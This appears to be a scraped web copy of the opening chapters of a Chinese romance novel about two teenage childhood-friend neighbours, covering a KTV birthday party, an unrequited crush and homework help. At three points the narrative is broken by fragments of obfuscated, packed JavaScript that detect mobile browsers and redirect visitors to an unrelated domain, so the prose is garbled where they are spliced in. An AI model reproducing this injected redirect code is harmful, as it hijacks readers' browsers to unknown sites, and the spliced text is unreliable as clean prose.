《她还不知道》 1. 第 1 章 八月夏末，暑热未消，直到夜晚才稍微降了些温度。 沈方月懒坐在空调房里，十指陷进乌发，抱着脑袋双目无神地盯着面前的题目，仿佛要把练习册给盯穿。 这个姿势又保持了几分钟，沈方月终于忍无可忍，一把抓起手机，点开微信最上方的头像—— 小月亮：[臭乌龟，你是不是骗我？] 过了三秒，对面没动静，沈方月于是继续。 小月亮：[怎么，被我发现了，不敢回消息？] 小月亮：[不回消息是猪。] 小月亮：[不回消息是乌龟。] 小月亮：[我要去告诉老师你抽烟。] 这都没回？ 真不在？ 沈方月后靠到椅背，转头看了眼隔壁那扇对着自己的窗户，里面漆黑一片。 她收回视线继续打字。 好，你好得很，骗我在这做超纲题，自己出去玩—— 画面一闪，对面突然有了回应。 裴乌龟：[？] 裴乌龟：[有病。] 裴乌龟：[我骗你什么] 小月亮：[你给我买的这个练习册绝对是高三的，我一道题都看不懂。] 裴乌龟：[……] 裴乌龟：[你看封面] 这练习册她拿回来时就敞着，停留在裴祈给她画出来的几道题目上，她还真没见过封面。 沈方月往前翻。 只见紫色封皮练习册上写着几个黄色大字——《高一数学基础题》。 某位准高二生：“……” [小月亮撤回了一条消息。] 裴乌龟：[蠢] 小月亮：[反弹] 这题沈方月是做不下去了，她懒洋洋往床上一躺，举着手机打字。 小月亮：[你去哪了，怎么还不回家？] 裴乌龟：[别管。] 小月亮：[？] 小月亮：[我们这关系，我还不能管你了？] 裴乌龟：[我们什么关系？] 小月亮：[十五年邻居的青梅竹马关系。] 裴乌龟：[我老家那只跟了我十六年的狗都不会管我去哪。] “……” 沈方月漂亮的指甲在删除好友界面上停留了很久，最后咬咬牙又取消。 小月亮：[我无聊，你回家，我们打会游戏。] 裴乌龟：[怎么，不学习了？] 小月亮：[玩了再学。] 小月亮：[而且我琢磨了下，这练习册我可以留着，等开学了我拿去问顾飞白，嘿嘿。] 小月亮：[我真是追爱小天才。] 对面又没了动静。 小月亮：[？？人呢？！] 沈方月连续给对方发了十来个表情包，对面终于又肯施舍过来一句。 裴乌龟：[不回，没空聊。自己学着吧。] 好哇。 沈方月当即决定杀去邻居家蹲人。 她给对方发了两个凶狠的表情包，正要起身，手机蓦地又震了一下。 是他们班里的副班长钱菲。 钱菲：[方月，你脑子有没有好一点呀？] ？ 沈方月被这一句问懵了，敲了个问号过去。 钱菲：[你不是撞坏了脑子吗？严不严重？后天就开学了，你还能来吗？] 语气看起来不像骂人。 小月亮：[谁说我撞坏脑子了？] 钱菲：[裴祈啊。] 果然！！！ 小月亮：[我没事，他找死！] 钱菲：[……哦哦，没事就好，我还以为是真的。那你今晚怎么没来？] 沈方月刚准备切去骂人，看到后一句话又顿住。 小月亮：[来哪儿？] 钱菲：[“麦乐迪”啊，今天顾飞白生日，请班里人唱歌，班里很多人都来了。] 钱菲：[他刚刚还问裴祈你怎么没来，然后裴祈就说……(笑哭jpg)] 沈方月几乎是从床上弹起来的。 她从衣柜拿出她爸前两天刚从香港给她买回来的小裙子，快速化了个妆，在最后打理头发的环节，终于打通了“裴乌龟”的语音通话。 “喂。” 男生语气很懒。背景有很微小、但仔细听还是能隐约听见的音乐声。 “裴祈！顾飞白生日请班里人去玩，你竟然不告诉我？！” “……” “你故意的。”沈方月对着镜子委屈地梳头，“你就是要当我爱情里的绊脚石。” 电话那头沉默了几秒：“你别来。” 沈方月无视他的话：“我现在连礼物都没准备，等会儿过去了我要怎么说啊？” “说了别来。”裴祈淡着嗓音，“不好玩，没什么意思。我待会回去陪你打游戏。” “你没事吧裴祈。我放着顾飞白生日不去，去你家打游戏？”沈方月想了想，“等等，我记得麦乐迪门口有家乐高店？我给他买个乐高吧？” “沈方月……”裴祈明显有些不耐。 沈方月：“挂了！” 挂断前，沈方月又飞快地补了一句：“你还跟别人说我脑子坏了是吧？裴祈你等着。” && 麦乐迪虽然名字土，却是山城最热闹的一家娱乐场所，一到夜晚这条路就拥堵，加上在乐高店磨了点时间，沈方月赶到时，包厢里已经暗着灯在唱生日歌。 大家把寿星围在中间，音响声音很大，没人注意到有人推门而入。 沈方月很配合地跟着音乐唱了两句，眼睛在包厢里乱晃。 其实不用特意找。大家要么站着，要么在沙发上挺直腰板，脸上都是玩乐的亢奋。 只有一个人坐在角落，一副对周遭热闹不感兴趣的模样，垂眼漫不经心地戳手机。 虽然坐着，依旧能看出他身形修长，矮桌和沙发间的空间对他来说似乎过于狭窄，他于是只能大剌剌地架起一个随意的二郎腿，后背陷在黑色沙发里。 手机微弱的灯光映在他脸上，照亮他锋利冷淡的轮廓。 沈方月猫着身子过去，嘴里还跟唱着生日歌。 终于挤到男生身边，沈方月清了清嗓子，然后猛地弯腰，两只手掌撞向他肩膀：“裴祈！” 她本意是想吓裴祈一跳，这一撞几乎用上全部力气。 但裴祈稳稳坐着，没抬头，甚至连玩手机的手指都没停。只是施舍般地往旁边挪了挪，给她空出了一小块位置。 “……” 沈方月把手里的袋子往地上一放，臭着脸用力坐下去，肩膀撞在裴祈的胳膊上。 反而她比较疼。 “你头顶长眼睛了？”沈方月揉着肩膀不满道。 “唱得太难听，不看也知道。”裴祈声线偏冷，又有些沉。明明周遭吵得要死，沈方月却还是听清楚了。 “呵。”沈方月冷笑一声，“不知道是谁，七岁的时候还被我的生日歌感动哭了。白眼狼。” “这是我澄清的第八百二十次。”裴祈说，“是因为你当时买的劣质蜡烛在冒黑烟。” “我不信，你当时就是哭了。”沈方月第八百二十次拒绝他的澄清。 裴祈不理她了。 沈方月整理了一下自己的小裙子，想去祝顾飞白生日快乐，视线扫到不远处的钱菲。 于是裴祈胳膊上又挨了软绵绵一巴掌。 “对了，你说谁脑子坏了？！” 沈方月进来没几分钟，裴祈胳膊就已经挨了好几下。他早习惯了，沈方月力气小，打人像按摩。 裴祈堆着俄罗斯方块，还没开口，清淡的山茶花香扑面而来。 旁边的人朝他挨过来。 沈方月凑近他，鼻子动了动，又动了动，然后确认道：“你又抽烟了。” 她挑眉，得意洋洋，“我回去就告诉阿姨听，等着挨骂吧你。” 沈方月几乎是整个人都靠在他身上。她今天穿了一条吊带白裙，贴着他的手臂柔软冰凉。 裴祈手指一顿，完美的建筑出了差错，一截横直的方块堵住了空出来的口子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760828|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“随你。”裴祈懒得解释这是刚才身边有人抽烟，熏到他身上的，“起来，告状精。” 沈方月压得更用力了。 裴祈闻着她的味道，刚想上手把人拎开，音乐突然停下，眼前一亮，生日歌已经唱完，房间里的灯被重新打开。 人群散去，露出被围在最中心的寿星。 “沈方月？”清亮的男声从音响里传来。顾飞白手里还拿着话筒，神情意外，“你怎么来了？脑袋好点了吗？” 手臂上压着的重量倏地消失。裴祈抬起的手腕停顿了半秒，又垂回去。 沈方月站起身。灯光恢复，周围的人都下意识地朝她看。 明明穿了白裙，她裸露在裙子外面的皮肤却仿佛更白，乌黑的长发披散在她肩上，像昂贵顺滑的丝绸。 沈方月是漂亮的，但她的漂亮和同龄人不太一样。 十六七岁的女孩大都清纯可爱，沈方月不同，她的漂亮已经可以用张扬来形容——圆润饱满的唇，挺巧的鼻尖，纤长上翘的眼尾，拼凑出一张像猫一般尖锐孤傲的脸蛋。 这张脸使大家在高一刚开学的时候，都不太敢接近她。 “我没事，是他自己有病。”沈方月皮笑肉不笑，在其他人看不见的地方踩了裴祈一脚。 身后响起一声很淡的“啧”。 “那就好，我刚想发消息问你情况。”顾飞白笑了笑，“正好，我在给女生们点饮料。你喝什么？果汁，汽水，还是酒？” 沈方月立刻装乖：“果汁，我不喝酒的。” 身后又是一道很冷地笑。 沈方月再次伸腿去踩人，被对方老练地躲开。 “对了。”沈方月拿起腿边的包装袋，递给顾飞白，“时间比较赶，没来得及准备什么……生日快乐。” “不用准备什么的，你人来了就行。”顾飞白看了一眼袋子上的图案，“乐高？我还没玩过，回去试试。谢谢。” 服务员推门而入，顾飞白看着递来的菜单，道：“要一扎西瓜汁，一箱啤酒，还有……” 他忽然问，“吃果盘吗？” 沈方月刚想摇头。 “不吃啦。”一道温软的女声响起，“晚饭已经吃得很饱了。” 沈方月这才发现顾飞白身后还站着一个女生。女生太瘦，几乎整个人顾飞白挡住。 顾飞白回头看她，温声问：“那我买杯酸奶给你？” “这哪里有酸奶？” “我出去给你买。” “算啦。”女生挽住顾飞白的手腕，亲昵地靠着他，“你生日，不想使唤你。” && “月姐？你怎么来了？裴祈不是说你今晚不来么？” 一道声音把在沙发上发了好几分钟呆的沈方月拉回神。 来人个子高，有点干瘦，看起来刚从厕所回来。是坐她后桌的男生，也是裴祈的同桌，叫宋哲。 宋哲顺着她的视线看去，看到不远处在一起合唱《小酒窝》的俩人，啧啧摇头：“小情侣就是腻歪。” “情侣？”沈方月愣怔，终于想起问，“那个女生是谁？” “隔壁班的，你没见过？”宋哲开了两听酒，一听放到裴祈面前，“哦，你还不知道呢吧。下午一起吃饭的时候，这女生把顾飞白单独叫出去，估计是去告白了吧，回来俩人就拉上手了。嘿。” “……” “看不出来啊，顾飞白平时看起来这么乖。还有那女的也是。”宋哲扬扬下巴，“是吧裴祈？” 被叫到名的人只是低头看手机，没理他。 “谁点的《算你狠》啊？” “我我我！”宋哲起身，“我！” 鬼哭狼嚎般的《算你狠》响起，沈方月呆呆看着隔壁沙发那对正把脑袋靠在一起说话的情侣，还没来得及细细感受自己脑子里茫然空白的滋味，头发忽然一重。 棒球帽的帽檐挡住她的视线，随之而来的是一股淡淡的皂香。 是裴祈的味道。 “说了别来。”裴祈把她的帽檐又扣低了一点，冷淡的嗓音响在她耳边，“笨蛋。” 2. 第 2 章 “你才笨蛋。”沈方月回神，“都怪你，如果下午我也在，指不定谁告白成功呢。” 裴祈：“。” “你现在去告白，”裴祈用看傻子的眼神扫了她一眼，凉声道：“看看顾飞白选谁。” “我不。人家都在一起了，我才不当第三者。” 沈方月重新蔫回沙发里，她挨着裴祈胳膊，咕哝道：“你帽子怎么这么大。” 裴祈：“不戴还我。” 沈方月不理他，她整理好头发，把帽檐拉高一些解救自己的眼睛，兀自把话说完：“不愧是乌龟脑袋。” “……” 裴祈睨着她的小脑袋，忍住了敲两下的冲动。 顾飞白平时人缘好，来参加他生日会的人很多，气氛热闹。 平时沈方月最喜欢这种场合，今天却一反常态的一首歌都没点。 “月姐，”宋哲喊她，“怎么不唱歌？你要唱什么，我去给你点。” 沈方月头也没抬：“不用，不唱。” 宋哲看向她身边的人：“什么情况？” “网抑云时间到了，”裴祈道，“不用管她。” “……” 宋哲还没说话，就见低着头的沈方月用肩膀狠狠怼了裴祈一下，裴祈接住她的力道，拎起啤酒抿了一口。 点的歌唱完了，宋哲往自己的座位那挤，经过时脚边不小心踹了个物件，他低头一看，是个纸袋：“这啥啊月姐？生日礼物？” 沈方月毫无感情地说：“不是，礼物送过了。” “那这是……” “给乌龟的。” “……” “乌龟”闻言，垂眸扫了眼，表情终于有了点温度。 “但他刚才表现不好，已经丧失领取资格了。”沈方月问，“你要吗？送你。” 宋哲没玩过这些东西，只有在去裴祈家打游戏的时候见过，裴祈似乎对这些还算感兴趣，在房间里摆了一个看起来就很牛逼的乐高机器人。 宋哲：“我就算了，你还是留给乌龟吧。” “嗯，一会儿出去就扔对面湖里。”沈方月说，“希望他能收到。” 等宋哲回到自己的位置，裴祈才懒洋洋地问她：“有完没完。” “没完。”沈方月说，“你骗我，还说我脑袋坏了，失恋了你也不安慰我——” “失恋？单相思也算？” “我说算就算！” 裴祈无语，点头：“你说怎么安慰。” “帮我写暑假作——” “别想。”裴祈说：“沈方月，你是不是故意找个人失恋，就为了坑我给你写作业？” 沈方月震惊抬头：“怎么可能！我像那种人吗？！” 昏暗环境里，沈方月的眼睛有些亮过头了。 裴祈跟她对视几秒，才撇开目光：“像。” “……” 宋哲一帮人在旁边玩划拳，越玩气氛越烈，中途还喊了裴祈好几次，裴祈稳如泰山，兴致不大。 过了一会，手机突然嗡嗡震了几声，裴祈低头看了眼来电显示，皱眉。 他叩了一下身边人的帽檐。 没人理他。 裴祈于是又叩了一下。 “走开。”沈方月冰冷地通知他，“我们绝交了。” 裴祈：“绝交之前先告诉我，阿姨知不知道你出门了？” “当然不知道，我妈今晚飞纽约，我特意等她出门才——”沈方月猛地抬头，“她发现了？她找你了？！” 裴祈起身去接电话，沈方月反应过来，刚要跟他绝交的人紧紧抓着他的衣角：“裴祈，只要你跟我妈说是你逼着我出门的，我们之前的恩怨一笔勾销……” 裴祈把她的手指掰开，隔着棒球帽敷衍地拍了拍她的脑袋。 “等着回去挨骂吧。” && 裴祈找了个安静的地方接电话。 “阿姨。”他接起来道。 “小祈，”电话那头，女人开门见山地问，“那丫头跟你在一起吗？” 裴祈：“嗯，我带她出来吃夜宵。” “你不用给她打掩护，我还不知道她？肯定是自己非要去找你玩。行了，跟你在一起就好，你们早点回家。”得到回答，对方语气立刻松缓许多，“吃过饭了么？我让人熬了汤，等你们回家了，你盛点回去喝。” “好，谢谢阿姨。” “跟我还客气什么？”那头传来一道模糊的语音播报，“我和你叔叔马上起飞，就先挂了，这几天你先帮我照看一下那丫头。” 挂电话之前，女人又添了一句：“我前脚刚出门，她后脚就从车库溜出去了，车库后门警报器给我发消息，我还以为进贼了呢。你跟她说，我回去就收拾她。” && 裴祈为了找个安静的地方接电话，走得有点远，途中又顺路进了家超市。 回到包厢时，沈方月已经和宋哲他们玩起来了。 沈方月划拳属于又菜又爱玩，她原本是不会的，直到前阵子她看见裴祈跟别人玩。 那时刚放暑假，他们在饭店聚餐，别人都撸起袖子划得面红耳赤的，只有裴祈，手搭在椅背上懒洋洋地比划，轻而易举就把别人喝个鼻朝天。 沈方月说他装b，然后把他这德性学了个十成十。 沈方月又输了一局，拿起酒刚要喝，脑袋就被人按住，往后挪了点。 “干什么，告状精。”沈方月仰头骂他。 “不知道自己不能喝？”裴祈睨她。 “没事没事，今天只点了啤的，月姐肯定醉不了。”宋哲说。 裴祈说：“她最好是。” 沈方月本来就烦人，喝完更烦人。初中毕业那一会儿，沈方月初尝酒味，只喝了小半瓶，人就快站到桌上了，亢奋得让人想直接把她打晕。 宋哲：“问题不大，反正有你呢。” 他看起来很像冤大头？ 裴祈没应，伸手拦住沈方月的酒瓶：“听见没，沈方月。” “听不见！聋了！”沈方月不知道在短短十几分钟里输了多少回，已经有点进入状态了。 她去拍裴祈的手，拍了好几下都拍不开。 于是她委屈地抬头，为了玩划拳，开始胡言乱语，“失恋的人连借酒消愁的资格都没有吗！” KTV很吵，只有裴祈听见了。他垂眸，面无表情地看她。 什么破失恋，这到底算哪门子恋。 半晌，手腕被松开。裴祈偏开脸坐下。 “随你。”他说，“等会发疯别指望我带你回家。” “谁要你带，我又不是三岁小孩，”沈方月不甘示弱，“我才不跟你一起回家！我们绝交了！以后都不要一起回家！” && “裴祈，裴祈！裴祈！！” 会所门口，沈方月手用力勾着裴祈脖子，对着面前的空地指挥，“右转！右转！我们要撞墙啦裴祈！！” 在宋哲他们震惊的目光下，裴祈伸手把歪歪扭扭的人扶稳，一脸习以为常地说：“我带她回去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760829|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不然我送她回去？”顾飞白忽然开口，“你还没叫车吧？现在高峰期，得排十多分钟。我提前打了车，就停在前面，我送她吧。” “他俩住一起。”宋哲提醒他。 “啊？” “你不知道啊？他们是邻居。”宋哲往后张望了一下，“不过你不用送你女朋友吗？” “她早就回去了，她家有门禁。”顾飞白看向裴祈，“那要不，你俩都跟我一起？” 裴祈刚想拒绝，张口又想起某人刚才眼巴巴盯着他，再三强调自己失恋了有多难过多伤心—— 裴祈嘴唇动了动，还没说话，脖子又被重新缠上。 “裴祈。” 沈方月眼里似乎根本没有其他人。她声音恢复正常，踮起脚来，很有礼貌地询问他，“我困了，我能不能骑着你回家？” “……” “不用了。”裴祈说，“我送她就行。” && 出租车驶进小区，停在两栋小洋房门口。 裴祈付钱下车，拎猫似的把胡言乱语一路了的人从后座拎出来。 “裴祈，呜呜呜呜，你真的不能帮我写作业吗？呜呜呜。” 裴祈怀疑她酒醒了，现在正在借酒装疯。 他没说话，扶着人往沈方月家走。 啤酒度数摆在那，沈方月在车上坐了这么久，确实有点醒过神了，但酒劲儿还在。 她等了一会没等到回答，决定再接再厉：“可是我失恋了诶，失恋诶，我真的很可怜，我都哭了……” 旁边人忽然停下来，沈方月连忙跟着停住。 然后她下巴被握住，强迫地抬起头来，撞进裴祈的眼睛里。 昏暗环境下，裴祈的眼珠是深不见底的黑色。 他盯着她看了许久，久到沈方月莫名其妙的有些紧张—— “眼泪呢。”裴祈冷淡地问。 “……” 沈方月作势就要把手指伸进嘴里造点眼泪出来，被人拦住。 “别恶心，沈方月。”裴祈输她家密码，推开门，“回你家去。” “……” “真小气。”沈方月嘟哝，没精打采地站直身往里走，“以后你失恋了，我也不会搭理你的。” “谢谢。”裴祈说，“我不会失这种莫名其妙的恋。” 砰！沈方月很有脾气地关上了自家的门。 裴祈在原地站了一会，才转头离开。 没走两步，咔哒。 身后的门又开了。 沈方月脚上换了一双拖鞋，闷头重新走了出来。 “又发什么疯？”裴祈伸手抓她。 沈方月偏身躲开，赌气似的不看他，只是没头没脑地扔下一句：“东西忘扔湖里了。” “？” 裴祈看着她闷头直行，拐弯，把那一袋要送给“乌龟”的礼物扔到了他家门口。 沈方月扔完掉头就走，刚走两步就被人拽着胳膊提回去。 “知道湖长什么样么？” 沈方月恼羞成怒：“裴祈，你别得了便宜还卖——这是什么？” 裴祈从口袋拿出一个五彩缤纷的铁盒子，是沈方月平时最喜欢吃的水果糖。 他之前接电话时进超市买的。 裴祈没看她，低下眼，把糖放进她手里。 裴祈家门口的灯常年不开，沈方月看不清他的表情，只是好像听见他很低地叹了口气。 沉默许久，他说。 “……乌龟的谢礼。” 3. 第 3 章 “所以我就勉为其难原谅他吧。” 深夜，沈方月趴在床上，手指把玩着自己的发尾，乱晃着脚丫讲电话。 “得了吧，你和他哪次吵架冷战能超过三个小时。”电话那头，顾湘语气鄙夷，“幼稚。” 顾湘是沈方月的同桌，俩人小学相识，初中同桌，到了高中兜兜转转又坐到了一起，也能算是半个发小了。 顾湘这几天回了老家，要开学当天才赶回来。 “谁幼稚了！”沈方月使劲儿想了一下，“而且有超过两小时的好不好？二年级的时候，他放学没等我回家，我整整一晚上没理他。” “……” “好好好。”台灯下，顾湘转了一下笔，“那你的暗恋，就这样结束了？” 话题转得太快，沈方月甚至有一瞬间没反应过来。 “啊？哦，你说顾飞白……”沈方月撑着下巴说，“是吧。” “……我怎么听着你一点不难过呢？” “已经难过完了。” “？” 顾湘看了眼时钟，这姐妹难过的时间都还没她吃一顿饭的时间长。 不过她又想，这事放在沈方月身上根本不奇怪。 沈方月上学期在追一部国外很火的校园偶像剧。 剧情是自卑敏感的女主暗恋身为年级学生代表、不论在何处都闪闪发光的男主一整个青春。 剧刚播完，沈方月就兴冲冲告诉她，自己有喜欢的人了——正是他们年级某次上台发言的学生代表。也是他们的同班同学，顾飞白。 说是喜欢，沈方月却压根没给过对方任何超出同学范畴的暗示。 没告白，没递情书，甚至连个联系方式都没问对方要过。据她所知，沈方月和顾飞白至今没加上任何社交软件的好友。 就仿佛对方只是一个满足她“暗恋一个人”这项需求的工具人。 顾湘习惯了她的性格，点头道：“行。马上开学了，作业写完没有？” “……” “……你不会一个字没动吧？” “那当然不是！”沈方月立刻为自己澄清，“是剩一点点没写……但没事，区区一点作文和抄写，我明天熬一天，肯定能全做完！” && 翌日，傍晚。 手机在耳边响了好几声，沈方月蜷缩在被子里，瘫了好久才有动静。 明天开学日，班级群适时地弹出一条新公告—— 「公告：古老师让我告知大家，明日开学第一件事就是收暑假作业，未完成者罚站听课一个星期。请同学们相互转告！」 还有两条私聊。 裴乌龟：[公告截图] 五分钟后。 裴乌龟：[在练罚站？] 沈方月捂着肚子，按下语音键有气无力地通知：“勿扰，我们今天也绝交了。” 她把手机扔到一边，重新把脸埋进枕头。 约莫过了五分钟，她听见楼下有些动静。 她爸妈都在纽约，保姆阿姨今天也请了假没来，沈方月警惕地抬起脑袋。 直到听见那道熟悉的脚步声，又蔫蔫地躺回去。 很快，门被敲响。 “沈方月。” 沈方月没理他。 过了半分钟，外面又传来懒洋洋的一句：“能不能进？” 沈方月闷着声音说：“不能。” 于是门就被打开了。 沈方月埋在被窝里，露在外面的只有她乱糟糟的头发。 “乌龟是不是真的听不懂人话？” “我可没进去。”裴祈站在门外没动。他看着床上那个黑乎乎的小脑袋，“不舒服？” “不关你事。” 裴祈点头：“那我走了。” “……” 听到对方似乎真的扭头要走，沈方月飞速扔出一句：“肚子疼。” 裴祈折回来，又倚回门框：“昨晚喝酒前吃饭没？” “吃了。” “疼了多久？” “好久。”沈方月声音委屈，“一整天都在疼。” 裴祈：“……” 猪么？不会叫人？ 猪疼了都会喊两声。 裴祈看了眼手表，很干脆地走进房间，随手捞起她挂在椅上的外套：“起来，沈方月。” “干嘛？” “穿外套。” “……？”沈方月呆了一下，仰起头看他，露出自己身上的乌龟睡衣，“穿外套干嘛？” “去医院。” “……” 裴祈打开手机，见床上的人一动不动，撩起眼皮：“我伺候你穿？” “……不是要去医院的那种疼。” “？” 沈方月抿嘴憋了一下，最后飞快含糊地说了一句。 “生理期。” “……” 裴祈沉默了几秒，别开眼，仓促地关掉叫车软件。 “今天吃过东西没？” “吃了。”沈方月闷闷道，“方便面。” 裴祈扭头把衣服重新挂回椅上，转身朝屋外走。 “你去哪？”沈方月立刻喊他，“不会就这样走了吧？” “不然？” “你真没良心啊。”沈方月感慨。 “你第一天知道？”关门之前，裴祈看了她一眼，凉薄地扔下一句，“躺回去。” 臭乌龟。 寡情少义！ 冷血无情！！ 房门被关上，房间重归安静，沈方月在心里破口大骂裴祈三百句。 词用完后，她慢吞吞重新躺回枕头上，才后知后觉自己的脸蛋好像有点烫。 不知怎的，刚才和裴祈说自己生理期的时候，沈方月莫名有点不好意思。 奇怪，她怎么会对裴祈觉得不好意思。 明明他们都这么熟了。 更何况，在她第一次经历生理期时，裴祈也算“参与其中”。 沈方月第一次生理期是在小学六年级。 那天裴祈是班级值日生，她在教室里等裴祈做完值日一起回家。中途裴祈出去倒垃圾，她起身，想去前面接杯水。 一道刺耳的刮地声响起，她的椅子被班里某个讨人厌的男生拽了出去，随之而来的是对方的尖声嘲笑——“沈方月！你拉裤子了！！！” 沈方月抓起课本想揍人，看到椅子上的痕迹后又愣住，自己也陷进短暂的茫然迟疑中。 见她没反应，男生笑得更贱了，拖着她的椅子就要往教室外面走：“哈哈哈！沈方月拉裤子！我要告诉全年——啊！” 一个垃圾桶狠狠砸在了男生脸上。 裴祈从嗷嗷大哭的男生手里拿回她的椅子，用纸把她的椅子擦拭干净。 然后抬头对她说：“沈方月，回家了。” “裴祈，”沈方月回神，茫然又害臊，有些无助地小声说，“我裤子好像……” 裴祈看了她校裤一眼，脱下自己的校服外套，绑在她腰上。 “看不见了。”裴祈道，“走吧。” 后来那男生告诉家长老师，裴祈因为动了手，被罚了两个星期的值日。 啊，那个时候——至少那一天的裴祈，真的好帅。 不像现在。 沈方月脸颊重重压在枕头上，又开始在心里背成语。 寡情少义！ 冷酷无情！ 良心泯灭！ 狼心狗—— 咔，门开了。 虽然是在心里骂，但看见裴祈，沈方月还是下意识抿了好几下嘴唇。 裴祈左手拎着一只熊猫热水袋，另只手端着她的小猪造型碗。 热水袋被扔到她身边，她隔着厚重的被褥都能感觉到熊猫的温暖，裴祈把碗往床边一放。 “捂着。”裴祈说，“喝。” 见被褥里的人盯着桌上那碗红糖煮蛋，迟迟未动，裴祈说：“沈方月，别发呆。” “没发呆，”沈方月老实道，“我正在收回刚才在心里偷偷骂你的话。” “……” 裴祈伸手要把碗端走，被沈方月连忙拦下来，整个碗捧了过去。 沈方月敷着熊猫热水袋，抿了一口滚烫的红糖水，整个人仿佛活了过来。 “你一直都这样？”裴祈忽然问。 “嗯？”沈方月愣了一下，然后反应过来，“也不是，这不是昨天喝了酒……” “嗯。”裴祈点头，讥讽地笑了一声，“下次失恋再喝。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760830|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 沈方月又想起昨天自己喝晕后那发疯的半个小时，当即转开话题：“你怎么还会做这个？” “网上查的。” “喔。”沈方月评价，“糖放多了，好甜，以后注意。” “别喝了，还我。” 沈方月立刻捧起碗，咕噜咕噜往嘴里灌。 “……” 裴祈偏开眼，看见沈方月书桌上堆了几本练习册，是专门用来抄写和写作文的。 “作业写完没？” “其他卷子都抄完了，就剩语文的那么一点点点。”肚子还是隐隐作痛。沈方月抬手，用手指比划了一下。 裴祈翻开册子，上面空空如也。 “这不叫一点点点。”裴祈纠正，“这叫一点没写。” “我本来是打算今天一口气补完的！这不突然那什么……肚子疼嘛。” 沈方月喝得有点累，她捧着碗，盯着裴祈的后脑勺，脑子飞快运转起来。 她偷偷清了清嗓子，拉长自己的语气，可怜巴巴地说：“裴祈，我真的好可怜，昨天刚遭遇失恋，今天又卧病在床，接下来可能还要被罚站一个星期。” 裴祈扭头看她。 “而且古老师每次罚站都让人站到走廊，那我岂不是连课都听不了了！” 裴祈：“你听和不听没区别。” “……” “那你接下来的一周也没有前桌了，”沈方月道，“上课就没人陪你说小话了，那多无聊啊。” “真的只能清净一周吗？”裴祈跟她商量，“你不能多站几天？” “……” “你好无情。”沈方月说。 “嗯。”裴祈拿过她手里的空碗，敷衍地拍了拍她的脑袋。 “睡吧。储存点精力，明天争取当走廊里站得最直的人。” “……” && 或许是承载了太多怨气，开学日这天，山城的气温达到了这段时间的最高点。 天将将亮，距离开学典礼还有半小时，教学楼里已经坐满了学生。 沈方月从厕所回来时，正好撞上在收暑假作业的钱菲。 两人在课桌过道撞上，沈方月叹一口气，认命道：“钱菲，语文我先不交了，没写完。” “啊？”钱菲愣愣道，“你的不是已经交了吗？” “？” 钱菲低头在作业本里翻了一会，挑出一本来：“刚才裴祈一起给我的，这不是你的吗？” 沈方月翻了两页，笔迹是很像她的。 她的字圆滚滚的，像满月。裴祈以前总是模仿她的字来讥笑她，她有时自己都分不清。 唯一的区别是她名字里的“月”——就像这本抄写本上的署名，裴祈写的时候，最后一勾总是会穿过旁边那道撇。 && 宋哲到教室时，他同桌在桌上睡得正香。 宋哲一直觉得很神奇，大家上课都睡觉，裴祈有时甚至睡得比他还多，怎么裴祈的成绩就这么好？ 沈方月从他身边经过，径直坐到裴祈前桌。 宋哲刚要跟她打招呼，对方先回过头来。 “裴祈，”沈方月戳了戳她后桌的头发，叫，“裴祈！” 男生搭在后颈的手指动了两下，过了几秒才把头从手臂里抬起来。 他前额头发凌乱地贴在眼睫上，漆黑的眼睛里全是不耐烦：“干什……” 话没说完，就被沈方月的飞吻给打断。 沈方月眼睛笑成月牙，手指贴在嘴边，不知给他飞了多少个吻。最后，她用手肘软绵绵地贴了一下他的手臂。 “你真好。”她郑重宣布，“我们现在又是全世界最要好的人了！” “……” 沈方月转回去后，裴祈还保持着抬头的姿势，很久未动。 “啊这。”宋哲呆呆地看着沈方月的背影，“什么情况？” 裴祈回神，手指陷进头发虚空地蜷了一下。他撇开眼，重新调整姿势躺回去，嗓音微哑。 “……谁知道她发什么疯。” 宋哲还想问什么，转头一看，他同桌已经又睡下去了。 姿势没变。 只是可能气候闷热，少年露出的半截耳朵，火似的烧红一片。 4. 第 4 章 顾湘到教室时，看到的正好是飞吻这一幕。 她放下书包，麻利地把作业交上去，勾住沈方月的脖子把人拉过来，凑在一起小声问：“怎么说？换暗恋对象了？” 沈方月没反应过来：“换谁？” “裴祈啊。” 沈方月足足呆了好几秒。 “没有，没换，我现在没暗恋对象。”沈方月回神，用气音的最大音量说，“——而且我怎么可能暗恋裴祈！！？” “那你刚才亲他干嘛？” “那是飞吻！是为了感谢他帮我写作业之恩。”沈方月强调，“我对动物园的猴子都飞吻！” 顾湘盯着沈方月，见对方瞪圆眼睛，一副被她的话震撼到的模样。 顾湘恍然。 也是。 